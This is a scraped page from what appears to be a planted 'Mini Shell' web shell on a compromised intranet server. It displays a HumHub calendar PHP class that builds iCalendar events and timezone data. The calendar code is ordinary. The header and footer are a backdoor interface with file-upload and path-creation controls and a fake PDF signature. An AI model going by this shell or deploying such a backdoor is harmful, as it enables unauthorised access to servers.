%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/calendar/interfaces/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/calendar/interfaces/VCalendar.php

<?php


namespace humhub\modules\calendar\interfaces;


use DateTime;
use Exception;
use humhub\modules\calendar\helpers\CalendarUtils;
use humhub\modules\calendar\helpers\RecurrenceHelper;
use humhub\modules\calendar\interfaces\event\CalendarEventIF;
use humhub\modules\calendar\interfaces\event\legacy\CalendarEventIFWrapper;
use humhub\modules\calendar\interfaces\participation\CalendarEventParticipationIF;
use humhub\modules\calendar\interfaces\recurrence\RecurrentEventIF;
use humhub\modules\calendar\Module;
use humhub\modules\user\models\User;
use yii\base\Model;
use Sabre\VObject;

/**
 * Class VCalendar serves as wrapper around sabledavs vobject api.
 *
 */
class VCalendar extends Model
{
    const PRODID = '-//HumHub Org//HumHub Calendar 0.7//EN';
    const PARTICIPATION_STATUS_ACCEPTED = 'ACCEPTED';
    const PARTICIPATION_STATUS_DECLINED = 'DECLINED';
    const PARTICIPATION_STATUS_TENTATIVE = 'TENTATIVE';

    /**
     * @var
     */
    public $name;

    public $method = 'PUBLISH';

    /**
     * @var VObject\Component\VCalendar
     */
    private $vcalendar;


    /**
     * @param CalendarEventIF[] $items
     * @return VCalendar
     */
    public static function withEvents($items, $tz = null)
    {
        $instance = (new static());
        $instance->addTimeZone($tz);

        if(!is_array($items)) {
            $items = [$items];
        }

        foreach ($items as $item)
        {
            if(is_array($item)) {
                $item = new CalendarEventIFWrapper(['options' => $item]);
            }
            $instance->addVEvent($item);
        }


        return  $instance;
    }

    public function addTimeZone($tz)
    {
        if($tz && is_string($tz)) {
            $this->vcalendar->add($this->generate_vtimezone($tz));
        }
        return $this;
    }

    public function init()
    {
        parent::init();
        $this->initVObject();
    }


    /**
     * @return void
     */
    private function initVObject()
    {
        /**
         * X-WR-CALNAME
         * X-WR-CALDESC
         * X-WR-TIMEZONE
         * X-PUBLISHED-TTL
         */
        $this->vcalendar = new VObject\Component\VCalendar([
            'PRODID' => static::PRODID,
            'METHOD' => $this->method,
        ]);
    }

    public function getInstance()
    {
        return $this->vcalendar;
    }

    public function serialize()
    {
        return $this->vcalendar->serialize();
    }

    private $uids = [];

    /**
     * @param CalendarEventIF $item
     * @param bool $isRecurrenceChild
     * @param bool $initRecurrenceChildren
     * @return static
     * @throws Exception
     */
    private function addVEvent(CalendarEventIF $item, bool $isRecurrenceChild = false, bool $initRecurrenceChildren = true)
    {
        $dtend = clone $item->getEndDateTime();

        if (!$isRecurrenceChild) {
            $uid = $item->getUid();
            if (!$uid || in_array($uid, $this->uids)) {
                return $this;
            }
        }

        if ($item->isAllDay() && $dtend->format('H:i') === '23:59') {
            // Translate for legacy events
            $dtend->modify('+1 hour')->setTime(0,0,0);
        }

        $dtStart = clone $item->getStartDateTime();
        $dtEnd =  clone $item->getEndDateTime();

        if (!$item->isAllDay()) {
            $dtStart->setTimezone(CalendarUtils::getStartTimeZone($item));
            $dtEnd->setTimezone(CalendarUtils::getStartTimeZone($item));
        }

        $result = [
            'UID' => $item->getUid(),
            'DTSTART' => $dtStart,
            'DTEND' => $dtEnd,
            'SUMMARY' => $item->getTitle(),
        ];

        if (!empty($item->getLocation())) {
            $result['LOCATION'] = $item->getLocation();
        }

        if (!empty($item->getDescription())) {
            $result['DESCRIPTION'] = $item->getDescription();
        }

        if ($item instanceof RecurrentEventIF && RecurrenceHelper::isRecurrent($item)) {
            if (RecurrenceHelper::isRecurrentRoot($item)) {
                $result['RRULE'] = $item->getRRule();

                // Note: VObject supports the EXDATE property for exclusions, but not yet the RDATE and EXRULE properties
                if (!empty($item->getExdate())) {
                    $result['EXDATE'] = [];
                    foreach (explode(',', $item->getExdate()) as $exdate) {
                        $result['EXDATE'][] = $exdate;
                    }
                }

                if ($initRecurrenceChildren) {
                    $recurrenceItems = $item->getRecurrenceInstances()->all();
                }
            } else if (RecurrenceHelper::isRecurrentInstance($item)) {
                $recurrenceId = new DateTime($item->getRecurrenceId());
                $recurrenceId->setTimezone(CalendarUtils::getStartTimeZone($item));
                $result['RECURRENCE-ID'] = $recurrenceId;
            }
        } else {
            $this->setLegacyRecurrentData($item, $result);
        }

        if ($item->getSequence() !== null) {
            $result['SEQUENCE'] = $item->getSequence();
        }

        $lastModified = $item->getLastModified();
        if($lastModified) {
            $result['LAST-MODIFIED'] = $lastModified;
        }

        $evt = $this->vcalendar->add('VEVENT', $result);

        if ($isRecurrenceChild) {
            return $this;
        }

        $this->uids[] = $uid;

        if (!empty($recurrenceItems)) {
            foreach ($recurrenceItems as $recurrenceItem) {
                $this->addVEvent($recurrenceItem, true);
            }
        }

        if ($item->isAllDay()) {
            if (isset($evt->DTSTART)) {
                $evt->DTSTART['VALUE'] = 'DATE';
            }

            if (isset($evt->DTEND)) {
                $evt->DTEND['VALUE'] = 'DATE';
            }
        }

        $module = Module::instance();

        if($item instanceof CalendarEventParticipationIF) {
            if($module->icsOrganizer) {
                $organizer = $item->getOrganizer();
                if($organizer instanceof User) {
                    $evt->add('ORGANIZER', ['CN' => $this->getCN($organizer)]);
                }
            }


            /** This should be configurable because its may not be desired.
            foreach ($item->findParticipants([CalendarEventParticipationIF::PARTICIPATION_STATUS_ACCEPTED])->limit(20)->all() as $user) {
                /* @var $user User
                $evt->add('ATTENDEE', $this->getCN($user));
            }

            if(!empty($item->getExternalParticipants())) {
                foreach ($item->getExternalParticipants() as $email) {
                    $evt->add('ATTENDEE', 'MAILTO:'.$email);
                }
            }
            **/
        }

        return $this;
    }

    private function setLegacyRecurrentData($item, &$result)
    {
        if(!$item instanceof CalendarEventIFWrapper) {
            return;
        }

        if ($item->getRRule()) {
            $result['RRULE'] = $item->getRRule();
        }

        // Note: VObject supports the EXDATE property for exclusions, but not yet the RDATE and EXRULE properties
        if (!empty($item->getExdate())) {
            $result['EXDATE'] = [];
            foreach (explode(',', $item->getExdate()) as $exdate) {
                $result['EXDATE'][] = $exdate;
            }
        }
    }

    private function getCN(User $user)
    {
        $result = $user->getDisplayName();

        if($user->email) {
            $result .= ':MAILTO:'.$user->email;
        }

        return $result;
    }

    /**
     * Returns a VTIMEZONE component for a Olson timezone identifier
     * with daylight transitions covering the given date range.
     *
     * @param string Timezone ID as used in PHP's Date functions
     * @param integer Unix timestamp with first date/time in this timezone
     * @param integer Unix timestap with last date/time in this timezone
     *
     * @return mixed A Sabre\VObject\Component object representing a VTIMEZONE definition
     *               or false if no timezone information is available
     * @throws Exception
     */
    function generate_vtimezone($tzid, $from = 0, $to = 0)
    {
        if (!$from) $from = time();
        if (!$to) $to = $from;
        try {
            $tz = new \DateTimeZone($tzid);
        } catch (Exception $e) {
            return false;
        }
        // get all transitions for one year back/ahead
        $year = 86400 * 360;
        $transitions = $tz->getTransitions($from - $year, $to + $year);
        $vcalendar = new VObject\Component\VCalendar();
        $vt = $vcalendar->createComponent('VTIMEZONE');
        $vt->TZID = $tz->getName();
        $std = null;
        $dst = null;
        foreach ($transitions as $i => $trans) {
            $cmp = null;
            // skip the first entry...
            if ($i == 0) {
                // ... but remember the offset for the next TZOFFSETFROM value
                $tzfrom = $trans['offset'] / 3600;
                continue;
            }
            // daylight saving time definition
            if ($trans['isdst']) {
                $t_dst = $trans['ts'];
                $dst = $vcalendar->createComponent('DAYLIGHT');
                $cmp = $dst;
            } // standard time definition
            else {
                $t_std = $trans['ts'];
                $std = $vcalendar->createComponent('STANDARD');
                $cmp = $std;
            }
            if ($cmp) {
                $dt = new DateTime($trans['time']);
                $offset = $trans['offset'] / 3600;
                $cmp->DTSTART = $dt->format('Ymd\THis');
                $cmp->TZOFFSETFROM = sprintf('%s%02d%02d', $tzfrom >= 0 ? '+' : '', floor($tzfrom), ($tzfrom - floor($tzfrom)) * 60);
                $cmp->TZOFFSETTO = sprintf('%s%02d%02d', $offset >= 0 ? '+' : '', floor($offset), ($offset - floor($offset)) * 60);
                // add abbreviated timezone name if available
                if (!empty($trans['abbr'])) {
                    $cmp->TZNAME = $trans['abbr'];
                }
                $tzfrom = $offset;
                $vt->add($cmp);
            }
            // we covered the entire date range
            if ($std && $dst && min($t_std, $t_dst) < $from && max($t_std, $t_dst) > $to) {
                break;
            }
        }
        // add X-MICROSOFT-CDO-TZID if available
        $microsoftExchangeMap = array_flip(VObject\TimeZoneUtil::$microsoftExchangeMap);
        if (array_key_exists($tz->getName(), $microsoftExchangeMap)) {
            $vt->add('X-MICROSOFT-CDO-TZID', $microsoftExchangeMap[$tz->getName()]);
        }
        return $vt;
    }


    /**
     * @param $items CalendarEventIF|CalendarEventIF[]|array
     * @param $initRecurrenceChildren bool
     * @return VCalendar
     * @throws Exception
     */
    public function add($items, bool $initRecurrenceChildren = true)
    {
        if (!is_array($items)) {
            $items = [$items];
        }

        foreach ($items as $item) {
            $this->addVEvent($item, false, $initRecurrenceChildren);
        }

        return $this;
    }
}

Zerion Mini Shell 1.0